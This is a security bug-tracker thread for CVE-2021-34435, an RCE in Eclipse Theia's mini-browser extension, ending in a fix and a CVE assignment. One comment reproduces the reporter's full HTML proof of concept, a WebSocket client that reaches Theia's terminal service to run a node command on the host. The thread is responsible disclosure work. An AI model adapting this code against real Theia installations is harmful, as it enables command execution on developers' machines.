

Bug 568018 (CVE-2021-34435) - Theia "mini-browser" extension RCE exploit

Status: RESOLVED FIXED

Alias: CVE-2021-34435

Product: Community

Component: Vulnerability Reports (show other bugs)

Version: unspecified

Hardware: All All

Importance: P3 normal (vote)

Target Milestone: ---

Assignee: Security vulnerabilitied reported against Eclipse projects

QA Contact:

URL:

Whiteboard:

Keywords: security

Depends on:

Blocks:

Reported: 2020-10-19 22:30 EDT by Paul Maréchal

Modified: 2021-09-01 13:20 EDT (History)

CC List: 3 users (show)

See Also:

Attachments		
A VS Code Extension that connects to the Theia WebSocket endpoint directly. (3.84 KB, application/zip)	no flags	Details
2020-11-20 13:54 EST, Paul Maréchal		
An HTML file that does RCE to be previewed using Theia's mini-browser. (12.20 KB, text/html)	no flags	Details
2020-11-25 15:58 EST, Paul Maréchal		
Add an attachment (proposed patch, testcase, etc.)		
Show Obsolete (1) View All		

Note

You need to [log in](#) before you can comment on or make changes to this bug.

Paul Maréchal 2020-10-19 22:30:33 EDT

[Description](#)

Created [attachment 284829 \[details\]](#)

An HTML file that does RCE to be previewed using Theia's mini-browser.

Theia "mini-browser" extension allows a user to preview HTML files in an iframe inside the IDE. But with the way it is made it is possible for a previewed HTML file to trigger an RCE. This exploit only happens if a user previews a malicious file.

The exploit is possible because of the following setup:

- The preview iframe is sandboxed with "allow-scripts allow-same-origin".
- Theia serves the file to be previewed in the iframe from the same origin.

Since it is the same origin, it is possible from a script in the previewed HTML file to connect the backend and use all of Theia's services.

Attached is a PoC for the exploit. How to use the PoC:

- You must open a Theia application running the "@theia/mini-browser" extension (theia-full from docker, or the example applications from the main repository).
- Navigate to the file in the file explorer (file navigator)
- Right click on the file > open with > preview
- The HTML exploit contains a button to trigger itself on demand. Press the button.
- Now if you look into the home folder of the user running the Theia backend process, you should find a folder named "I-WAS-HERE", meaning that it worked.
- You can remove this file and trigger the exploit again to make sure the PoC ran correctly.

This exploit should impact all versions of the "mini-browser" extension.

Anton Kosyakov 2020-11-03 08:34:21 EST

[Comment 1](#)

It is known issue for long time and should be handled as described in <https://github.com/eclipse-theia/theia/issues/6562> Alternative we could reimplement it as VS Code extension. It is easier than refactoring Theia to extract webviews.

Paul Maréchal 2020-11-18 12:13:06 EST

[Comment 2](#)

Maybe something less known is that even WebViews can connect to Theia's WebSocket endpoint like done in the current PoC for the mini-browser. This means that WebViews are not more secure than the mini-browser in that regard. To fix this we need to explicitly check the origin of WebSocket connections and not expect the browser to prevent Cross-Origin WebSocket connections, because it won't.

This is implemented in: <https://github.com/eclipse-theia/theia/pull/8759>

Paul Maréchal 2020-11-20 13:54:20 EST

[Comment 3](#)

Created [attachment 284830 \[details\]](#)

A VS Code Extension that connects to the Theia WebSocket endpoint directly.

Adding another PoC to illustrate how WebSockets are NOT affected by CORS.

The attached VS Code extension connects to the WebSocket endpoint and queries the list of recently opened workspaces.

Paul Maréchal 2020-11-20 14:05:53 EST

[Comment 4](#)

NOTE: The VS Code extension connects to Theia's WebSocket FROM a WebView, which we don't want to be allowed, but currently is if we don't check anything.

Paul Maréchal 2020-11-25 15:46:39 EST

[Comment 5](#)

Comment on [attachment 284830 \[details\]](#)

An HTML file that does RCE to be previewed using Theia's mini-browser.

```
<DOCTYPE html>
<html>
  <head>
    <meta charset="utf8" />
    <title>Not An Exploit</title>
    <style>
      html {
        background-color: white;
      }
      body {
        margin: auto;
        max-width: 600px;
      }
    </style>
  </head>
  <body>
```

```


> <h1>Theia "mini-browser" exploit</h1>
> <p>
> The mini-browser extension in Theia displays html files into an iframe.
> But currently we have the following settings:
> </p>
> <ul>
> <li>The iframe is sandboxed as "allow-same-origin allow-scripts".</li>
> <li>The html file to preview is served via a Theia endpoint from the ss
> </ul>
> <p>
> These two things combined mean that when a file is previewed in Theia i
> the mini-browser extension, a malicious html file can connect to the T
> backend via websocket and do pretty much anything.
> </p>
> <button onclick="do_exploit(event)">Run exploit</button>
> <p id="exploit-status"></p>
> <script>
> /**
> * Boilerplate code to talk to Theia's backend.
> */
> class TheiaWebSocket {
> /**
> * Asynchronously create a TheiaWebSocket instance from a regular v
> *
> * @param {WebSocket} ws the websocket to wrap.
> * @returns {TheiaWebSocket}
> */
> static Create(ws) {
> return new Promise((resolve, reject) => {
> ws.addEventListener('close', event => reject(wsCodeToError
> if (ws.readyState === WebSocket.CONNECTING) {
> ws.addEventListener('open', () => resolve(new this(ws))
> } else if (ws.readyState === WebSocket.OPEN) {
> resolve(new this(ws))
> } else if (ws.readyState === WebSocket.CLOSED) {
> reject(new Error('ws is closed.'))
> } else if (ws.readyState === WebSocket.CLOSING) {
> // The 'close' event will be triggered.
> }
> })
> })
> /**
> * @private
> * @param {WebSocket} ws
> */
> constructor(ws) {
> /** @type {Map<number, { resolve: Function, reject: Function }>}
> this._pending_requests = new Map()
> /** @type {Map<number, { resolve: Function }>} */
> this._pending_channels = new Map()
> /** @type {Set<number>} */
> this._closed_channels = new Set()
> this._channel_id = 0
> this._request_id = 0
> this._ws = ws
> this._ws.addEventListener('message', event => {
> console.log('RECV', event.data)
> // Theia wraps jsonrpc messages into logical channels
> const multiplexed = JSON.parse(event.data)
> if (multiplexed.kind === 'ready') {
> // A channel is ready to handle our messages
> const pending_channel = this._pending_channels.get(mult
> if (!pending_channel) {
> throw new Error('unexpected ready channel:', event.
> } else {
> pending_channel.resolve(multiplexed.id)
> this._pending_channels.delete(multiplexed.id)
> }
> } else if (multiplexed.kind === 'data') {
> // A jsonrpc message was sent on a logic channel
> const jsonrpc = JSON.parse(multiplexed.content)
> if (typeof jsonrpc.id === 'number') {
> // A response contains the id used when making the
> const pending_request = this._pending_requests.get
> if (!pending_request) {
> throw new Error('unexpected response:', multipl
> } else if (typeof jsonrpc.error === 'undefined') {
> // If there is no error set, it means we have s
> pending_request.resolve(jsonrpc.result)
> } else {
> // The request resolved to an error so we reject
> pending_request.reject(jsonrpc.error)
> }
> this._pending_channels.delete(jsonrpc.id)
> } else {
> // Not handling notifications
> }
> } else if (multiplexed.kind === 'close') {
> this._closed_channels.add(multiplexed.id)
> }
> })
> })
> /**
> * Send a message through the websocket.
> *
> * @param {string} message the raw payload to send on the websocket
> */
> send(message) {
> this._ws.send(message)
> console.log('SENT', message)
> }
> /**
> * Open a logical channel on this websocket.
> *
> * @param {string} path path to the service to talk to.
> * @returns {number} the id of the opened channel.
> */
> async open(path) {
> const id = this._channel_id++
> this.send(JSON.stringify({
> id: path,
> kind: 'open',
> }))
> return new Promise(resolve => {
> this._pending_channels.set(id, { resolve })
> })
> }
> /**
> * Sends a method request to a remote service.
> *
> * @param {number} channel the id of the channel to send the request
> * @param {string} method the method to call on the remote service.
> * @param {any[]} params the method parameters.
> * @returns {any} the result of the method call.
> */
> async request(channel, method, ...params) {
> if (this._closed_channels.has(channel)) {
> throw new Error('channel #{channel} is closed.')
> }
> const id = this._request_id++
> this.send(JSON.stringify({
> id: channel,
> kind: 'data',
> content: JSON.stringify({
> id: method, params,
> jsonrpc: '2.0',
> })
> }))
> return new Promise((resolve, reject) => {
> this._pending_requests.set(id, { resolve, reject })

```

```

>     })
>   }
> }
> /**
>  * Will create a folder named 'I-WAS-HERE' in the home of the user runn
>  * The backend needs to be running on 'localhost:3000' for this PoC to
>  *
>  * @returns {void}
>  */
> async function exploit() {
>   const theiaWs = await TheiaWebSocket.Create(new WebSocket('ws://loc
>   const [app, term] = await Promise.all([
>     theiaWs.open('/services/application'),
>     theiaWs.open('/services/terminal'),
>   ])
>   const os = await theiaWs.request(app, 'getBackendOS')
>   const terminalId = await theiaWs.request(term, 'create', {
>     // Windows wants the '.exe' suffix
>     command: os === 'Windows' ? 'node.exe' : 'node',
>     args: ['-e', 'require(\'fs\').mkdirSync(require(\'os\').homedir() +
>   })
>   if (terminalId === -1) {
>     throw new Error('The terminal command failed for some reason...
>   }
> }
> do_exploit.status = document.getElementById('exploit-status')
> do_exploit.running = false
> /** @param {Event} event */
> async function do_exploit(event) {
>   if (!do_exploit.running) {
>     do_exploit.running = true
>     event.target.disabled = true
>     do_exploit.status.innerText = 'Running...'
>     const status = await exploit()
>     .then(() => 'Worked!', errorToString)
>     do_exploit.status.innerText = status
>     do_exploit.running = false
>     event.target.disabled = false
>   }
> }
> function errorToString(error) {
>   if (error instanceof Error) {
>     return error.toString()
>   } else {
>     return JSON.stringify(error)
>   }
> }
> }
> /**
>  * See: https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent
>  * @param {number} code
>  * @returns {string}
>  */
> function wsCodeToError(code) {
>   const codes = {
>     1000: 'Closed',
>     1002: 'Protocol Error',
>     1006: 'Network Error',
>   }
>   return new Error(codes[code] || 'Unknown Error')
> }
> </script>
> </body>
> </html>

```

Paul Maréchal  2020-11-25 15:47:30 EST [Comment 6](#)

Tried to edit the attached file, and the previous comment happened, please ignore.

Paul Maréchal  2020-11-25 15:58:37 EST [Comment 7](#)

Created [attachment 284893](#) [details]

An HTML file that does RCE to be previewed using Theia's mini-browser.

Updated the HTML exploit to properly handle the new URLs from upstream patch:

<https://github.com/eclipse-theia/theia/pull/8759>


Wayne Beaton  2021-08-16 16:10:56 EDT [Comment 8](#)

Housekeeping. We've exceeded the three month disclosure deadline, so I've removed the confidential flag.

Note that there is information regarding how we handle vulnerability reports in the handbook [1].

If a CVE is required, I'll need the affected version range and an CWE [2], please.

[1] <https://www.eclipse.org/projects/handbook/#vulnerability>
 [2] <https://cwe.mitre.org/>

Marc Dumais  2021-08-30 18:00:15 EDT [Comment 9](#)

(In reply to Wayne Beaton from [comment #8](#))


> If a CVE is required, I'll need the affected version range and an CWE [2],
 > please.

> [1] <https://www.eclipse.org/projects/handbook/#vulnerability>
 > [2] <https://cwe.mitre.org/>

Thanks Wayne - please create a CVE:

versions
 0.3.9 - 1.8.1 (fixed in v1.9.0)

CWE-942

Wayne Beaton  2021-09-01 13:20:23 EDT [Comment 10](#)

I've assigned CVE-2021-34435

```

> versions
> 0.3.9 - 1.8.1 (fixed in v1.9.0)
>
> CWE-942

```

I've used this description:

--

In Eclipse Theia 0.3.9 to 1.8.1, the "mini-browser" extension allows a user to preview HTML files in an iframe inside the IDE. But with the way it is made it is possible for a previewed HTML file to trigger an RCE. This exploit only happens if a user previews a malicious file.

--

Let me know if that needs to be updated.

